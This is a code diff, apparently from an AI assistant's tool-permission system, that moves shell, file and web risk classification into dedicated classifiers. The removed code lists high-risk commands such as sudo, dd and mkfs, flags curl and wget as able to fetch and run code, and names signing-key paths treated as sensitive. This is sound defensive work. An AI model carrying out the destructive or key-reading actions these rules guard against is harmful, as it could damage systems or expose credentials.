  987. package/src/hooks/discovery.ts +0 -135
  988. package/src/hooks/manager.ts +0 -179
  989. package/src/hooks/runner.ts +0 -117
  990. package/src/hooks/templates.ts +0 -77
  991. package/src/hooks/types.ts +0 -75
  992. package/src/oauth/scope-policy.ts +0 -89
  993. package/src/prompts/templates/UPDATES.md +0 -50
  994. package/src/prompts/update-bulletin-format.ts +0 -85
  995. package/src/prompts/update-bulletin-state.ts +0 -58
  996. package/src/prompts/update-bulletin-template-path.ts +0 -13
  997. package/src/prompts/update-bulletin.ts +0 -139
  998. package/src/runtime/gateway-internal-client.ts +0 -94
  999. package/src/runtime/routes/watch-routes.ts +0 -156
  1000. package/src/shared/provider-env-vars.ts +0 -19
  1001. package/src/signals/shotgun.ts +0 -203
  1002. package/src/tools/watch/screen-watch.ts +0 -144
  1003. package/src/tools/watch/watch-state.ts +0 -142
  1004. package/src/tools/watcher/create.ts +0 -86
  1005. package/src/tools/watcher/delete.ts +0 -36
  1006. package/src/tools/watcher/digest.ts +0 -54
  1007. package/src/tools/watcher/list.ts +0 -83
  1008. package/src/tools/watcher/update.ts +0 -71
@@ -7,11 +7,7 @@ import { getIsContainerized } from "../config/env-registry.js";
7
7
  import { getConfig } from "../config/loader.js";
8
8
  import { loadSkillCatalog, resolveSkillSelector } from "../config/skills.js";
9
9
  import { indexCatalogById } from "../skills/include-graph.js";
10
- import {
11
- isSkillSourcePath,
12
- normalizeDirPath,
13
- normalizeFilePath,
14
- } from "../skills/path-classifier.js";
10
+ import { normalizeFilePath } from "../skills/path-classifier.js";
15
11
  import { computeTransitiveSkillVersionHash } from "../skills/transitive-version-hash.js";
16
12
  import { computeSkillVersionHash } from "../skills/version-hash.js";
17
13
  import type { ManifestOverride } from "../tools/execution-target.js";
@@ -20,17 +16,31 @@ import {
20
16
  looksLikePathOnlyInput,
21
17
  } from "../tools/network/url-safety.js";
22
18
  import { getTool } from "../tools/registry.js";
19
+ import { getWorkspaceDir } from "../util/platform.js";
20
+ import {
21
+ type ApprovalContext,
22
+ DefaultApprovalPolicy,
23
+ resolveThreshold,
24
+ } from "./approval-policy.js";
25
+ import { parseArgs } from "./arg-parser.js";
26
+ import { bashRiskClassifier } from "./bash-risk-classifier.js";
27
+ import { DEFAULT_COMMAND_REGISTRY } from "./command-registry.js";
28
+ import { fileRiskClassifier } from "./file-risk-classifier.js";
29
+ import { getAutoApproveThreshold } from "./gateway-threshold-reader.js";
23
30
  import {
24
- getDeprecatedDir,
25
- getProtectedDir,
26
- getWorkspaceHooksDir,
27
- } from "../util/platform.js";
31
+ type CommandRiskSpec,
32
+ type RiskAssessment,
33
+ riskToRiskLevel,
34
+ } from "./risk-types.js";
35
+ import { scheduleRiskClassifier } from "./schedule-risk-classifier.js";
28
36
  import {
37
+ analyzeShellCommand,
29
38
  buildShellAllowlistOptions,
30
- buildShellCommandCandidates,
31
39
  cachedParse,
40
+ deriveShellActionKeys,
32
41
  type ParsedCommand,
33
42
  } from "./shell-identity.js";
43
+ import { skillLoadRiskClassifier } from "./skill-risk-classifier.js";
34
44
  import { findHighestPriorityRule, onRulesChanged } from "./trust-store.js";
35
45
  import {
36
46
  type AllowlistOption,
@@ -39,7 +49,11 @@ import {
39
49
  RiskLevel,
40
50
  type ScopeOption,
41
51
  } from "./types.js";
42
- import { isWorkspaceScopedInvocation } from "./workspace-policy.js";
52
+ import { webRiskClassifier } from "./web-risk-classifier.js";
53
+ import {
54
+ isPathWithinWorkspaceRoot,
55
+ isWorkspaceScopedInvocation,
56
+ } from "./workspace-policy.js";
43
57
 
44
58
  // ── Risk classification cache ────────────────────────────────────────────────
45
59
  // classifyRisk() is called on every permission check and can invoke WASM
@@ -48,10 +62,35 @@ import { isWorkspaceScopedInvocation } from "./workspace-policy.js";
48
62
  // Invalidated when trust rules change since risk classification for file tools
49
63
  // depends on skill source path checks which reference config, but the core
50
64
  // risk logic is input-deterministic.
65
+ /** The result of classifyRisk(): a risk level with an optional human-readable reason. */
66
+ export interface RiskClassification {
67
+ level: RiskLevel;
68
+ /** Human-readable explanation of why this risk level was assigned. */
69
+ reason?: string;
70
+ }
71
+
51
72
  const RISK_CACHE_MAX = 256;
52
- const riskCache = new Map<string, RiskLevel>();
73
+ const riskCache = new Map<string, RiskClassification>();
53
74
  let riskCacheInvalidationHookRegistered = false;
54
75
 
76
+ // ── Assessment cache ─────────────────────────────────────────────────────────
77
+ // Stores the full RiskAssessment from classifier-backed tools so that
78
+ // generateAllowlistOptions() can read classifier-produced allowlistOptions
79
+ // without re-classifying. Keyed on (toolName, inputHash) — a simpler key
80
+ // than the full risk cache since generateAllowlistOptions() does not receive
81
+ // workingDir or manifestOverride. Cleared alongside the risk cache.
82
+ const assessmentCache = new Map<string, RiskAssessment>();
83
+
84
+ function assessmentCacheKey(
85
+ toolName: string,
86
+ input: Record<string, unknown>,
87
+ ): string {
88
+ const { reason: _reason, activity: _activity, ...cacheableInput } = input;
89
+ const inputJson = JSON.stringify(cacheableInput);
90
+ const hash = createHash("sha256").update(inputJson).digest("hex");
91
+ return `${toolName}\0${hash}`;
92
+ }
93
+
55
94
  function riskCacheKey(
56
95
  toolName: string,
57
96
  input: Record<string, unknown>,
@@ -76,6 +115,7 @@ function riskCacheKey(
76
115
  /** Clear the risk classification cache. Called when trust rules change. */
77
116
  function clearRiskCache(): void {
78
117
  riskCache.clear();
118
+ assessmentCache.clear();
79
119
  }
80
120
 
81
121
  function ensureRiskCacheInvalidationHook(): void {
@@ -86,319 +126,8 @@ function ensureRiskCacheInvalidationHook(): void {
86
126
  onRulesChanged(clearRiskCache);
87
127
  }
88
128
 
89
- // Low-risk shell programs that are read-only / informational
90
- const LOW_RISK_PROGRAMS = new Set([
91
- "ls",
92
- "cat",
93
- "head",
94
- "tail",
95
- "less",
96
- "more",
97
- "wc",
98
- "file",
99
- "stat",
100
- "grep",
101
- "rg",
102
- "ag",
103
- "ack",
104
- "find",
105
- "fd",
106
- "which",
107
- "where",
108
- "whereis",
109
- "type",
110
- "echo",
111
- "printf",
112
- "date",
113
- "cal",
114
- "uptime",
115
- "whoami",
116
- "hostname",
117
- "uname",
118
- "pwd",
119
- "realpath",
120
- "dirname",
121
- "basename",
122
- "git",
123
- "node",
124
- "bun",
125
- "deno",
126
- "npm",
127
- "npx",
128
- "yarn",
129
- "pnpm",
130
- "python",
131
- "python3",
132
- "pip",
133
- "pip3",
134
- "man",
135
- "help",
136
- "info",
137
- "env",
138
- "printenv",
139
- "set",
140
- "diff",
141
- "sort",
142
- "uniq",
143
- "cut",
144
- "tr",
145
- "tee",
146
- "xargs",
147
- "jq",
148
- "yq",
149
- "http",
150
- "dig",
151
- "nslookup",
152
- "ping",
153
- "tree",
154
- "du",
155
- "df",
156
- ]);
157
-
158
- // High-risk shell programs / patterns
159
- const HIGH_RISK_PROGRAMS = new Set([
160
- "sudo",
161
- "su",
162
- "doas",
163
- "dd",
164
- "mkfs",
165
- "fdisk",
166
- "parted",
167
- "mount",
168
- "umount",
169
- "systemctl",
170
- "service",
171
- "launchctl",
172
- "useradd",
173
- "userdel",
174
- "usermod",
175
- "groupadd",
176
- "groupdel",
177
- "iptables",
178
- "ufw",
179
- "firewall-cmd",
180
- "reboot",
181
- "shutdown",
182
- "halt",
183
- "poweroff",
184
- "kill",
185
- "killall",
186
- "pkill",
187
- ]);
188
-
189
- // Git subcommands that are low-risk (read-only)
190
- const LOW_RISK_GIT_SUBCOMMANDS = new Set([
191
- "status",
192
- "log",
193
- "diff",
194
- "show",
195
- "branch",
196
- "tag",
197
- "remote",
198
- "stash",
199
- "blame",
200
- "shortlog",
201
- "describe",
202
- "rev-parse",
203
- "ls-files",
204
- "ls-tree",
205
- "cat-file",
206
- "reflog",
207
- ]);
208
-
209
- /**
210
- * Classify risk for `assistant` CLI subcommands. Multi-word subcommands
211
- * (e.g. `assistant oauth token`) are matched by walking the positional args.
212
- */
213
- function classifyAssistantSubcommand(args: string[]): RiskLevel {
214
- const sub = firstPositionalArg(args);
215
- if (!sub) return RiskLevel.Low;
216
-
217
- if (sub === "oauth") {
218
- const oauthSub = firstPositionalArg(args.slice(args.indexOf(sub) + 1));
219
- if (oauthSub === "token") return RiskLevel.High;
220
- if (oauthSub === "mode") {
221
- // `oauth mode --set` is high risk; bare `oauth mode` (read) is low.
222
- // Match both `--set value` (two tokens) and `--set=value` (one token).
223
- if (args.some((a) => a === "--set" || a.startsWith("--set=")))
224
- return RiskLevel.High;
225
- return RiskLevel.Low;
226
- }
227
- if (oauthSub === "request") return RiskLevel.Medium;
228
- if (oauthSub === "connect" || oauthSub === "disconnect")
229
- return RiskLevel.Medium;
230
- return RiskLevel.Low;
231
- }
232
-
233
- if (sub === "credentials") {
234
- const credSub = firstPositionalArg(args.slice(args.indexOf(sub) + 1));
235
- if (credSub === "reveal") return RiskLevel.High;
236
- if (credSub === "set" || credSub === "delete") return RiskLevel.High;
237
- return RiskLevel.Low;
238
- }
239
-
240
- if (sub === "keys") {
241
- const keysSub = firstPositionalArg(args.slice(args.indexOf(sub) + 1));
242
- if (keysSub === "set" || keysSub === "delete") return RiskLevel.High;
243
- return RiskLevel.Low;
244
- }
245
-
246
- if (sub === "trust") {
247
- const trustSub = firstPositionalArg(args.slice(args.indexOf(sub) + 1));
248
- if (trustSub === "remove" || trustSub === "clear") return RiskLevel.High;
249
- return RiskLevel.Low;
250
- }
251
-
252
- return RiskLevel.Low;
253
- }
254
-
255
- // Commands that wrap another program — the real program appears as the first
256
- // non-flag argument. When one of these is the segment program we look through
257
- // its args to find the effective program (e.g. `env curl …` → curl).
258
- const WRAPPER_PROGRAMS = new Set([
259
- "env",
260
- "nice",
261
- "nohup",
262
- "time",
263
- "command",
264
- "exec",
265
- "strace",
266
- "ltrace",
267
- "ionice",
268
- "taskset",
269
- "timeout",
270
- ]);
271
-
272
- // `env` flags that consume the next positional argument as their value.
273
- // Without this, `env -u curl echo` would incorrectly identify `curl` (the
274
- // value of -u) as the wrapped program instead of `echo`.
275
- const ENV_VALUE_FLAGS = new Set(["-u", "--unset", "-C", "--chdir"]);
276
-
277
- // `timeout` flags that consume the next positional argument as their value.
278
- const TIMEOUT_VALUE_FLAGS = new Set(["-s", "--signal", "-k", "--kill-after"]);
279
-
280
- // Wrapper programs where the first non-flag positional argument is a
281
- // configuration value (duration, CPU mask), not the wrapped program name.
282
- // For these wrappers, the second non-flag positional is the real program.
283
- const WRAPPER_SKIP_FIRST_POSITIONAL = new Set(["timeout", "taskset"]);
284
-
285
- // `git` global flags that consume the next positional argument as their value.
286
- // Without this, `git -C status commit` would incorrectly identify `status`
287
- // (the directory path) as the subcommand instead of `commit`.
288
- const GIT_VALUE_FLAGS = new Set([
289
- "-C",
290
- "-c",
291
- "--git-dir",
292
- "--work-tree",
293
- "--namespace",
294
- "--super-prefix",
295
- "--config-env",
296
- ]);
297
-
298
- /**
299
- * Return the first non-flag argument from an argument list, optionally
300
- * skipping value-taking flags. Flags are arguments that start with `-`.
301
- * This is used to skip global options (e.g. `--verbose`, `-h`, `-C <path>`)
302
- * when extracting the subcommand from CLIs like `git`, `vellum`, and
303
- * `assistant`.
304
- *
305
- * When `valueFlags` is provided, any flag in that set causes the next
306
- * argument to be skipped as well (it is the flag's value, not a positional).
307
- */
308
- function firstPositionalArg(
309
- args: string[],
310
- valueFlags?: Set<string>,
311
- ): string | undefined {
312
- for (let i = 0; i < args.length; i++) {
313
- const arg = args[i];
314
- if (arg.startsWith("-")) {
315
- if (valueFlags?.has(arg)) i++; // skip the next arg (the flag's value)
316
- continue;
317
- }
318
- return arg;
319
- }
320
- return undefined;
321
- }
322
-
323
- // Bare filenames that `rm` is allowed to delete at Medium risk (instead of
324
- // High) so workspace-scoped allow rules can approve them without the
325
- // dangerous `allowHighRisk` flag. Only matches when the args contain no
326
- // flags and exactly one of these filenames.
327
- const RM_SAFE_BARE_FILES = new Set(["BOOTSTRAP.md", "UPDATES.md"]);
328
-
329
- function isRmOfKnownSafeFile(args: string[]): boolean {
330
- if (args.length !== 1) return false;
331
- const target = args[0];
332
- if (target.startsWith("-") || target.includes("/")) return false;
333
- return RM_SAFE_BARE_FILES.has(target);
334
- }
335
-
336
- /**
337
- * Given a segment whose program is a known wrapper, return the first
338
- * non-flag argument (i.e. the wrapped program name). Returns `undefined`
339
- * when no suitable argument is found.
340
- *
341
- * Handles `env` specially: skips `VAR=value` pairs and value-taking flags
342
- * like `-u NAME` and `-C DIR`.
343
- *
344
- * Handles `timeout` and `taskset` specially: their first non-flag positional
345
- * argument is a duration or CPU mask, not the wrapped program. The second
346
- * non-flag positional is the real program.
347
- */
348
- function getWrappedProgram(seg: {
349
- program: string;
350
- args: string[];
351
- }): string | undefined {
352
- const isEnv = seg.program === "env";
353
- const isTimeout = seg.program === "timeout";
354
- const skipFirst = WRAPPER_SKIP_FIRST_POSITIONAL.has(seg.program);
355
- let skippedFirstPositional = false;
356
- for (let i = 0; i < seg.args.length; i++) {
357
- const arg = seg.args[i];
358
- if (arg.startsWith("-")) {
359
- if (isEnv && ENV_VALUE_FLAGS.has(arg)) i++; // skip the value argument
360
- if (isTimeout && TIMEOUT_VALUE_FLAGS.has(arg)) i++; // skip the value argument
361
- continue;
362
- }
363
- if (isEnv && arg.includes("=")) continue; // skip env VAR=value pairs
364
- if (skipFirst && !skippedFirstPositional) {
365
- skippedFirstPositional = true;
366
- continue; // skip the duration/CPU mask
367
- }
368
- return arg;
369
- }
370
- return undefined;
371
- }
372
-
373
- /**
374
- * Like `getWrappedProgram`, but also returns the remaining args after the
375
- * wrapped program name. This allows callers to propagate subcommand-aware
376
- * classification (e.g. `env assistant oauth token` → classify `oauth token`).
377
- */
378
- function getWrappedProgramWithArgs(seg: {
379
- program: string;
380
- args: string[];
381
- }): { program: string; args: string[] } | undefined {
382
- const isEnv = seg.program === "env";
383
- const isTimeout = seg.program === "timeout";
384
- const skipFirst = WRAPPER_SKIP_FIRST_POSITIONAL.has(seg.program);
385
- let skippedFirstPositional = false;
386
- for (let i = 0; i < seg.args.length; i++) {
387
- const arg = seg.args[i];
388
- if (arg.startsWith("-")) {
389
- if (isEnv && ENV_VALUE_FLAGS.has(arg)) i++;
390
- if (isTimeout && TIMEOUT_VALUE_FLAGS.has(arg)) i++;
391
- continue;
392
- }
393
- if (isEnv && arg.includes("=")) continue;
394
- if (skipFirst && !skippedFirstPositional) {
395
- skippedFirstPositional = true;
396
- continue; // skip the duration/CPU mask
397
- }
398
- return { program: arg, args: seg.args.slice(i + 1) };
399
- }
400
- return undefined;
401
- }
129
+ // ── Approval policy singleton ────────────────────────────────────────────────
130
+ const defaultApprovalPolicy = new DefaultApprovalPolicy();
402
131
 
403
132
  function getStringField(
404
133
  input: Record<string, unknown>,
@@ -526,10 +255,27 @@ async function buildCommandCandidates(
526
255
  preParsed?: ParsedCommand,
527
256
  ): Promise<string[]> {
528
257
  if (toolName === "bash" || toolName === "host_bash") {
529
- return buildShellCommandCandidates(
530
- getStringField(input, "command"),
531
- preParsed,
532
- );
258
+ const command = getStringField(input, "command").trim();
259
+ if (!command) return [command];
260
+
261
+ const analysis = await analyzeShellCommand(command, preParsed);
262
+ const actionResult = deriveShellActionKeys(analysis);
263
+
264
+ const candidates: string[] = [command];
265
+
266
+ if (actionResult.keys.length > 0) {
267
+ if (actionResult.isSimpleAction && actionResult.primarySegment) {
268
+ const canonical = actionResult.primarySegment.command;
269
+ if (canonical !== command) {
270
+ candidates.push(canonical);
271
+ }
272
+ }
273
+ for (const actionKey of actionResult.keys) {
274
+ candidates.push(actionKey.key);
275
+ }
276
+ }
277
+
278
+ return [...new Set(candidates)];
533
279
  }
534
280
 
535
281
  if (toolName === "skill_load") {
@@ -582,11 +328,7 @@ async function buildCommandCandidates(
582
328
  return [`${toolName}:${skillId}`];
583
329
  }
584
330
 
585
- if (
586
- toolName === "web_fetch" ||
587
- toolName === "browser_navigate" ||
588
- toolName === "network_request"
589
- ) {
331
+ if (toolName === "web_fetch" || toolName === "network_request") {
590
332
  const rawUrl = getStringField(input, "url").trim();
591
333
  const candidates: string[] = [];
592
334
 
@@ -663,7 +405,7 @@ export async function classifyRisk(
663
405
  preParsed?: ParsedCommand,
664
406
  manifestOverride?: ManifestOverride,
665
407
  signal?: AbortSignal,
666
- ): Promise<RiskLevel> {
408
+ ): Promise<RiskClassification> {
667
409
  signal?.throwIfAborted();
668
410
  ensureRiskCacheInvalidationHook();
669
411
 
@@ -682,13 +424,111 @@ export async function classifyRisk(
682
424
  }
683
425
  }
684
426
 
685
- let result = await classifyRiskUncached(
686
- toolName,
687
- input,
688
- workingDir,
689
- preParsed,
690
- manifestOverride,
691
- );
427
+ // ── Bash/host_bash: delegate to the registry-driven BashRiskClassifier ────
428
+ let result: RiskClassification;
429
+ let classifierAssessment: RiskAssessment | undefined;
430
+ if (toolName === "bash" || toolName === "host_bash") {
431
+ const command = ((input.command as string) ?? "").trim();
432
+ if (!command) {
433
+ result = { level: RiskLevel.Low };
434
+ } else {
435
+ const assessment = await bashRiskClassifier.classify({
436
+ command,
437
+ toolName: toolName as "bash" | "host_bash",
438
+ });
439
+ classifierAssessment = assessment;
440
+ result = {
441
+ level: riskToRiskLevel(assessment.riskLevel),
442
+ reason: assessment.reason,
443
+ };
444
+ }
445
+ }
446
+ // ── File tools: delegate to FileRiskClassifier ──────────────────────────
447
+ else if (
448
+ [
449
+ "file_read",
450
+ "file_write",
451
+ "file_edit",
452
+ "host_file_read",
453
+ "host_file_write",
454
+ "host_file_edit",
455
+ ].includes(toolName)
456
+ ) {
457
+ const filePath = getStringField(input, "path", "file_path");
458
+ const isHostTool = toolName.startsWith("host_");
459
+ const assessment = await fileRiskClassifier.classify({
460
+ toolName: toolName as
461
+ | "file_read"
462
+ | "file_write"
463
+ | "file_edit"
464
+ | "host_file_read"
465
+ | "host_file_write"
466
+ | "host_file_edit",
467
+ filePath,
468
+ workingDir: isHostTool ? "/" : (workingDir ?? process.cwd()),
469
+ });
470
+ classifierAssessment = assessment;
471
+ result = {
472
+ level: riskToRiskLevel(assessment.riskLevel),
473
+ reason: assessment.reason,
474
+ };
475
+ }
476
+ // ── Web tools: delegate to WebRiskClassifier ────────────────────────────
477
+ else if (["web_fetch", "network_request", "web_search"].includes(toolName)) {
478
+ const assessment = await webRiskClassifier.classify({
479
+ toolName: toolName as "web_fetch" | "network_request" | "web_search",
480
+ url: getStringField(input, "url"),
481
+ allowPrivateNetwork: input.allow_private_network === true,
482
+ });
483
+ classifierAssessment = assessment;
484
+ result = {
485
+ level: riskToRiskLevel(assessment.riskLevel),
486
+ reason: assessment.reason,
487
+ };
488
+ }
489
+ // ── Skill tools: delegate to SkillLoadRiskClassifier ────────────────────
490
+ else if (
491
+ ["skill_load", "scaffold_managed_skill", "delete_managed_skill"].includes(
492
+ toolName,
493
+ )
494
+ ) {
495
+ const assessment = await skillLoadRiskClassifier.classify({
496
+ toolName: toolName as
497
+ | "skill_load"
498
+ | "scaffold_managed_skill"
499
+ | "delete_managed_skill",
500
+ skillSelector: getStringField(input, "skill", "skill_id").trim(),
501
+ });
502
+ classifierAssessment = assessment;
503
+ result = {
504
+ level: riskToRiskLevel(assessment.riskLevel),
505
+ reason: assessment.reason,
506
+ };
507
+ }
508
+ // ── Schedule tools: delegate to ScheduleRiskClassifier ──────────────────
509
+ else if (toolName === "schedule_create" || toolName === "schedule_update") {
510
+ const assessment = await scheduleRiskClassifier.classify({
511
+ toolName,
512
+ mode: getStringField(input, "mode") || undefined,
513
+ script: getStringField(input, "script") || undefined,
514
+ });
515
+ classifierAssessment = assessment;
516
+ result = {
517
+ level: riskToRiskLevel(assessment.riskLevel),
518
+ reason: assessment.reason,
519
+ };
520
+ }
521
+ // ── Remaining tools: fall through to registry-based classification ──────
522
+ else {
523
+ result = {
524
+ level: await classifyRiskFromRegistry(
525
+ toolName,
526
+ input,
527
+ workingDir,
528
+ manifestOverride,
529
+ ),
530
+ };
531
+ }
692
532
 
693
533
  // Proxied bash commands route through the credential proxy which handles
694
534
  // per-request approval separately. Cap the bash tool's own risk at Medium
@@ -696,9 +536,9 @@ export async function classifyRisk(
696
536
  if (
697
537
  toolName === "bash" &&
698
538
  input.network_mode === "proxied" &&
699
- result === RiskLevel.High
539
+ result.level === RiskLevel.High
700
540
  ) {
701
- result = RiskLevel.Medium;
541
+ result = { level: RiskLevel.Medium, reason: result.reason };
702
542
  }
703
543
 
704
544
  if (cacheKey) {
@@ -709,237 +549,26 @@ export async function classifyRisk(
709
549
  riskCache.set(cacheKey, result);
710
550
  }
711
551
 
552
+ // Store the full assessment in a separate cache keyed on (toolName, input)
553
+ // so generateAllowlistOptions() can retrieve classifier-produced options.
554
+ if (classifierAssessment) {
555
+ const aKey = assessmentCacheKey(toolName, input);
556
+ if (assessmentCache.size >= RISK_CACHE_MAX) {
557
+ const oldest = assessmentCache.keys().next().value;
558
+ if (oldest !== undefined) assessmentCache.delete(oldest);
559
+ }
560
+ assessmentCache.set(aKey, classifierAssessment);
561
+ }
562
+
712
563
  return result;
713
564
  }
714
565
 
715
- async function classifyRiskUncached(
566
+ async function classifyRiskFromRegistry(
716
567
  toolName: string,
717
- input: Record<string, unknown>,
718
- workingDir?: string,
719
- preParsed?: ParsedCommand,
568
+ _input: Record<string, unknown>,
569
+ _workingDir?: string,
720
570
  manifestOverride?: ManifestOverride,
721
571
  ): Promise<RiskLevel> {
722
- if (toolName === "file_read") {
723
- const filePath = getStringField(input, "path", "file_path");
724
- if (isActorTokenSigningKeyPath(filePath, workingDir)) {
725
- return RiskLevel.High;
726
- }
727
- return RiskLevel.Low;
728
- }
729
- if (toolName === "file_write" || toolName === "file_edit") {
730
- const filePath = getStringField(input, "path", "file_path");
731
- if (
732
- filePath &&
733
- isSkillSourcePath(
734
- resolve(workingDir ?? process.cwd(), filePath),
735
- getConfig().skills.load.extraDirs,
736
- )
737
- ) {
738
- return RiskLevel.High;
739
- }
740
- if (filePath) {
741
- const normalizedHooksDir = normalizeDirPath(getWorkspaceHooksDir());
742
- const normalizedPath = normalizeFilePath(
743
- resolve(workingDir ?? process.cwd(), filePath),
744
- );
745
- const hooksDirNoTrailingSlash = normalizedHooksDir.slice(0, -1);
746
- if (
747
- normalizedPath === hooksDirNoTrailingSlash ||
748
- normalizedPath.startsWith(normalizedHooksDir)
749
- ) {
750
- return RiskLevel.High;
751
- }
752
- }
753
- return RiskLevel.Low;
754
- }
755
- if (toolName === "web_search") return RiskLevel.Low;
756
- if (toolName === "web_fetch") {
757
- // Private-network fetches are High risk so that blanket allow rules
758
- // (including the starter bundle) cannot silently bypass the prompt.
759
- return input.allow_private_network === true
760
- ? RiskLevel.High
761
- : RiskLevel.Low;
762
- }
763
- if (toolName === "browser_navigate") {
764
- return input.allow_private_network === true
765
- ? RiskLevel.High
766
- : RiskLevel.Low;
767
- }
768
- // All other browser tools are low risk — the browser is sandboxed and user-visible.
769
- if (toolName.startsWith("browser_")) return RiskLevel.Low;
770
- // Proxy-authenticated network requests are Medium risk — they carry injected
771
- // credentials and the user should approve the target host/origin.
772
- if (toolName === "network_request") return RiskLevel.Medium;
773
- if (toolName === "skill_load") return RiskLevel.Low;
774
-
775
- // Skill mutation tools are always High risk — they write or delete persistent
776
- // skill source code. These tools moved from core tool registry to bundled
777
- // skills, but their security classification must remain High regardless of
778
- // whether they appear in the tool registry.
779
- if (
780
- toolName === "scaffold_managed_skill" ||
781
- toolName === "delete_managed_skill"
782
- ) {
783
- return RiskLevel.High;
784
- }
785
-
786
- // Escalate host file mutations targeting skill source paths to High risk.
787
- // The host variants fall through to the tool registry (Medium) by default,
788
- // but writing to skill source code is a privilege-escalation vector.
789
- if (toolName === "host_file_write" || toolName === "host_file_edit") {
790
- const filePath = getStringField(input, "path", "file_path");
791
- if (
792
- filePath &&
793
- isSkillSourcePath(resolve(filePath), getConfig().skills.load.extraDirs)
794
- ) {
795
- return RiskLevel.High;
796
- }
797
- if (filePath) {
798
- const normalizedHooksDir = normalizeDirPath(getWorkspaceHooksDir());
799
- const normalizedPath = normalizeFilePath(resolve(filePath));
800
- const hooksDirNoTrailingSlash = normalizedHooksDir.slice(0, -1);
801
- if (
802
- normalizedPath === hooksDirNoTrailingSlash ||
803
- normalizedPath.startsWith(normalizedHooksDir)
804
- ) {
805
- return RiskLevel.High;
806
- }
807
- }
808
- // Fall through to the tool registry default (Medium) below.
809
- }
810
-
811
- if (toolName === "bash" || toolName === "host_bash") {
812
- const command = (input.command as string) ?? "";
813
- if (!command.trim()) return RiskLevel.Low;
814
-
815
- const parsed = preParsed ?? (await cachedParse(command));
816
-
817
- // Dangerous patterns → High
818
- if (parsed.dangerousPatterns.length > 0) return RiskLevel.High;
819
-
820
- // Opaque constructs → at least Medium (never Low)
821
- if (parsed.hasOpaqueConstructs) return RiskLevel.Medium;
822
-
823
- // Check each segment
824
- let maxRisk = RiskLevel.Low;
825
-
826
- for (const seg of parsed.segments) {
827
- const prog = seg.program;
828
-
829
- if (HIGH_RISK_PROGRAMS.has(prog)) return RiskLevel.High;
830
-
831
- if (prog === "rm") {
832
- // Only downgrade rm of known safe workspace files for sandboxed bash.
833
- // host_bash has a global ask rule that would prompt Medium-risk
834
- // commands, so rm on the host must always require explicit approval.
835
- if (toolName === "bash" && isRmOfKnownSafeFile(seg.args)) {
836
- maxRisk = RiskLevel.Medium;
837
- continue;
838
- }
839
- return RiskLevel.High;
840
- }
841
-
842
- if (
843
- prog === "chmod" ||
844
- prog === "chown" ||
845
- prog === "chgrp" ||
846
- prog === "sed" ||
847
- prog === "awk"
848
- ) {
849
- maxRisk = RiskLevel.Medium;
850
- continue;
851
- }
852
-
853
- // curl/wget can download and execute arbitrary code from the internet.
854
- // Also catch wrapped invocations like `env curl …` or `nice wget …`.
855
- if (prog === "curl" || prog === "wget") {
856
- maxRisk = RiskLevel.Medium;
857
- continue;
858
- }
859
-
860
- if (WRAPPER_PROGRAMS.has(prog)) {
861
- // `command -v` and `command -V` are read-only lookups (print where
862
- // a command lives) — don't escalate to high risk for those.
863
- if (
864
- prog === "command" &&
865
- seg.args.length > 0 &&
866
- (seg.args[0] === "-v" || seg.args[0] === "-V")
867
- ) {
868
- continue;
869
- }
870
- const wrapped = getWrappedProgram(seg);
871
- if (wrapped === "rm") return RiskLevel.High;
872
- if (wrapped && HIGH_RISK_PROGRAMS.has(wrapped)) return RiskLevel.High;
873
- if (wrapped === "curl" || wrapped === "wget") {
874
- maxRisk = RiskLevel.Medium;
875
- continue;
876
- }
877
- // Propagate subcommand-aware classification for wrapped git/assistant
878
- if (wrapped === "git") {
879
- const wrappedWithArgs = getWrappedProgramWithArgs(seg);
880
- if (wrappedWithArgs) {
881
- const subcommand = firstPositionalArg(
882
- wrappedWithArgs.args,
883
- GIT_VALUE_FLAGS,
884
- );
885
- if (subcommand && LOW_RISK_GIT_SUBCOMMANDS.has(subcommand)) {
886
- continue;
887
- }
888
- maxRisk = RiskLevel.Medium;
889
- continue;
890
- }
891
- }
892
- if (wrapped === "assistant") {
893
- const wrappedWithArgs = getWrappedProgramWithArgs(seg);
894
- if (wrappedWithArgs) {
895
- const assistantRisk = classifyAssistantSubcommand(
896
- wrappedWithArgs.args,
897
- );
898
- if (assistantRisk === RiskLevel.High) return RiskLevel.High;
899
- if (assistantRisk === RiskLevel.Medium) {
900
- maxRisk = RiskLevel.Medium;
901
- }
902
- continue;
903
- }
904
- }
905
- }
906
-
907
- if (prog === "git") {
908
- const subcommand = firstPositionalArg(seg.args, GIT_VALUE_FLAGS);
909
- if (subcommand && LOW_RISK_GIT_SUBCOMMANDS.has(subcommand)) {
910
- // Stay at current risk
911
- continue;
912
- }
913
- // Non-read-only git commands are medium
914
- maxRisk = RiskLevel.Medium;
915
- continue;
916
- }
917
-
918
- if (prog === "assistant") {
919
- const assistantRisk = classifyAssistantSubcommand(seg.args);
920
- if (assistantRisk === RiskLevel.High) return RiskLevel.High;
921
- if (assistantRisk === RiskLevel.Medium) {
922
- maxRisk = RiskLevel.Medium;
923
- }
924
- continue;
925
- }
926
-
927
- if (!LOW_RISK_PROGRAMS.has(prog)) {
928
- // Unknown program → medium
929
- if (maxRisk === RiskLevel.Low) {
930
- maxRisk = RiskLevel.Medium;
931
- }
932
- }
933
- }
934
-
935
- // If no segments could be extracted, treat as opaque
936
- if (parsed.segments.length === 0) {
937
- return RiskLevel.Medium;
938
- }
939
-
940
- return maxRisk;
941
- }
942
-
943
572
  // Check the tool registry for a declared default risk level
944
573
  const tool = getTool(toolName);
945
574
  if (tool) return tool.defaultRiskLevel;
@@ -959,27 +588,6 @@ async function classifyRiskUncached(
959
588
  return RiskLevel.Medium;
960
589
  }
961
590
 
962
- function isActorTokenSigningKeyPath(
963
- filePath: string | undefined,
964
- workingDir?: string,
965
- ): boolean {
966
- if (!filePath) return false;
967
- const cwd = workingDir ?? process.cwd();
968
- const resolvedPath = resolve(cwd, filePath);
969
- // Include both the per-instance protected dir AND the legacy global
970
- // ~/.vellum/protected path so upgraded machines with a host-wide signing
971
- // key still classify reads as High risk.
972
- const signingKeyPaths = Array.from(
973
- new Set([
974
- join(homedir(), ".vellum", "protected", "actor-token-signing-key"),
975
- join(getProtectedDir(), "actor-token-signing-key"),
976
- join(getDeprecatedDir(), "actor-token-signing-key"),
977
- resolve(cwd, "deprecated", "actor-token-signing-key"),
978
- ]),
979
- );
980
- return signingKeyPaths.includes(resolvedPath);
981
- }
982
-
983
591
  export async function check(
984
592
  toolName: string,
985
593
  input: Record<string, unknown>,
@@ -999,7 +607,7 @@ export async function check(
999
607
  }
1000
608
  }
1001
609
 
1002
- const risk = await classifyRisk(
610
+ const { level: risk, reason: riskReason } = await classifyRisk(
1003
611
  toolName,
1004
612
  input,
1005
